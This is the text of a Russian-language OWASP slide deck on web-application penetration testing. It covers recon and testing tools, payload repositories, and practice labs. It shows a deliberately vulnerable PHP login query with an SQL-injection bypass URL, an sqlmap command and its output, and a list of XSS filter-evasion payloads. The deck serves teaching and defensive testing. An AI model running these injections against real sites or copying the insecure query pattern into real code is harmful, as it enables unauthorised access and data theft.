OWASP
Практики по выявлению уязвимостей
в Web-приложениях
Шкарбатов Дмитрий
Руковожу командой web-разработки
в ПриватБанке, Pentester,
MD в области защиты информации
shkarbatov@gmail.com
https://www.linkedin.com/in/shkarbatov
Классификация атак
- OWASP Top 10
- OWASP Top 10 Mobile
- PCI DSS
- Mitre CWE
- SANS Top 25
- FISMA
- HIPAA
- MISRA
- BSIMM
- NIST SP 800-53
- DISA STIG 4.1
- WASC 2.0
- OWASP ASVS
Немного статистики
Типы атак на веб-приложения
Типы атак на веб-приложения банков
Методы исследования безопасности веб-приложений
Методы исследования безопасности веб-приложений
-
Разведка
-
Контроль доступа
-
Фаззинг параметров
-
Проверка логики работы веб-приложения
-
Проверка серверного окружения
Методы исследования безопасности веб-приложений
1. Разведка
- Сканирование портов (nmap)
- Сканирование поддоменов (dnsdumpster)
- Построение и анализа связей между различными субъектами и объектами (maltego)
- Исследование видимого контента (глаза)
- Поиск скрытого контента (директорий, файлов, информации) (dirb, dirsearch)
- Определение платформы и веб-окружения (wappalyzer)
- Определение форм ввода (глаза)
Методы исследования безопасности веб-приложений
2. Контроль доступа
- Проверка средств аутентификации и авторизации (hydra, patator, BurpSuite, OWASP ZAP)
- Проверка требований парольной политики (глаза)
- Тестирование восстановления учетной записи (глаза)
- Проверка полномочий и прав доступа (глаза)
- Тестирование функций сохранения сессии (время жизни, сессионный токен, признаки, попытки одновременной работы, CSRF и т.д.) (глаза)
Методы исследования безопасности веб-приложений
3. Фаззинг параметров
- Тестирование приложения к различному виду инъекций (SQL, SOAP, LDAP, XPATH и т.д.)
- Тестирование приложения к XSS-уязвимостям
- Проверка HTTP заголовков
- Проверка редиректов и переадресаций
- Проверка выполнения команд ОС
- Проверка локального и удаленного инклуда
- Проверка к внедрению XML-сущностей
- Проверка взаимодествия веб-сокетов
Методы исследования безопасности веб-приложений
Методы исследования безопасности веб-приложений
5. Проверка серверного окружения
- Проверка архитектуры сервера
- Поиск и выявление публичных уязвимостей
- Определение настроек сервера или компонентов
- Проверка прав доступа
Плюшки и полезности
Playloads базы
Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.
https://github.com/danielmiessler/SecLists
Playloads базы
Список полезных нагрузок и обходов для анализа безопасности веб-приложений
https://github.com/swisskyrepo/PayloadsAllTheThings
AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type
PHP serialization
Remote commands execution
SQL injection
SSRF injection
Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections
Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
- injection
// Пример уязвимого кода:
https://vulnurable_site.com/index.php?login=admin&password=123456
$login = $_GET["login"];
$password = $_GET["password"];
$query = "SELECT * FROM articles WHERE login = '$login' AND password = '$password'";
SELECT * FROM articles WHERE login = 'admin' AND password = '123456'
// Пример эксплуатации уязвимого кода:
https://vulnurable_site.com/index.php?login=admin';%20--&password=1
SELECT * FROM articles WHERE login = 'admin'; --' AND password = '1'
// Исходный запрос превратится в:
SELECT * FROM articles WHERE login = 'admin';
- injection
5 основных классов SQL-инъекций:
- UNION query SQL injection
- Error-based SQL injection
- Stacked queries SQL injection
- Boolean-based blind SQL injection
- Time-based blind SQL injection
- injection
SQLMAP вам в помощь:
- Определение БД
- Доступ к БД
- Брут-форс
- Инъекция заданных пользователем функций
- Доступ к файловой системе
- Доступ к оперативной системе
- Доступ к регистру Windows
- ...
- injection
- injection
sqlmap-dev$ python sqlmap.py -u "https://vulnerable_site.net/edit_user_topic?id=239"
--banner --is-dba
[12:44:43] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:44:43] [INFO] testing connection to the target URL
[12:44:44] [INFO] the back-end DBMS is Microsoft SQL Server
[12:44:44] [INFO] fetching banner
back-end DBMS operating system: Windows 2008 R2 or 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)
Aug 19 2014 12:21:34
Copyright (c) Microsoft Corporation
Data Center Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
---
[12:46:57] [INFO] testing if current user is DBA
current user is DBA: True
В итоге получаем следующую информацию:
Параметр уязвим к SQL Injection
Текущий пользователь является администратором СУБД
В качестве SQL сервера используется - Microsoft SQL Server 2008
В качестве операционной системы используется - Windows 2008 R2 or 7 Service Pack 1
XSS
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
Цели XSS
- Размещение ложной рекламы;
- Кража файлов куки;
- Хищение токенов форм для проведения CSRF атак;
- Получение бесплатного доступа к платному контенту;
- Слежение за посещением сайтов пользователем;
- Изменение настроек браузера;
- Публичная клевета в адрес отдельного лица или корпорации;
- Повреждение веб-приложения;
- DOS-атаки;
- ...
Виды XSS
-
Stored. Постоянный (хранимый, активный) XSS − вредоносный код храниться на сайте или сервере;
-
Reflected. Непостоянный (отраженный, пассивный) XSS − пользователю необходимо посетить специально сформированную ссылку;
-
DOM. XSS в DOM-модели − источник проблемы находится в клиентском сценарии.
XSS читы
javascript:alert("XSS")
<IMG src=javascript:alert("XSS")>
<IMG src=# onmouseover="alert('xxs')">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<BODY ONLOAD=alert('XSS')>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072
\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Подробней на:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Продвинутое использование XSS
Где можно потренироваться?
- https://slides.com/jamesjason/
- https://kali.tools
- https://stepik.org/course/127/syllabus
- https://www.youtube.com/watch?v=wjZeynU03LY
- https://www.youtube.com/watch?v=4U-x5bZM4Cg&list=PLrNsDW3nSngZFzpTvl4Onfiltr9xv0hVz
- https://docs.google.com/document/d/13sryZRyjARa6gVzSH3CbUGOYOEx-TWIAsa6_hh8FPlA
- https://habrahabr.ru/post/125206
- https://habrahabr.ru/post/125317
- https://www.youtube.com/watch?v=XcLI4cdWOCs&list=PL1LeoQF_fJbzOHndcGO_XyFDE6jRz1AM-
Где можно потренироваться?
Теория
- https://google-gruyere.appspot.com
- http://www.dvwa.co.uk/
- http://www.itsecgames.com/
- http://xss-game.appspot.com
- https://www.hacksplaining.com
- https://habrahabr.ru/company/pentestit/blog/261569
- https://habrahabr.ru/company/pt/blog/138779
- https://habrahabr.ru/company/dsec/blog/200408/
- https://www.checkmarx.com/2015/04/16/15-vulnerable-sites-to-legally-practice-your-hacking-skills
- https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
Где можно потренироваться?
Практика
Почему этим стоит
заниматься?
Всем спасибо!
OWASP
By James Jason
OWASP
- 1,315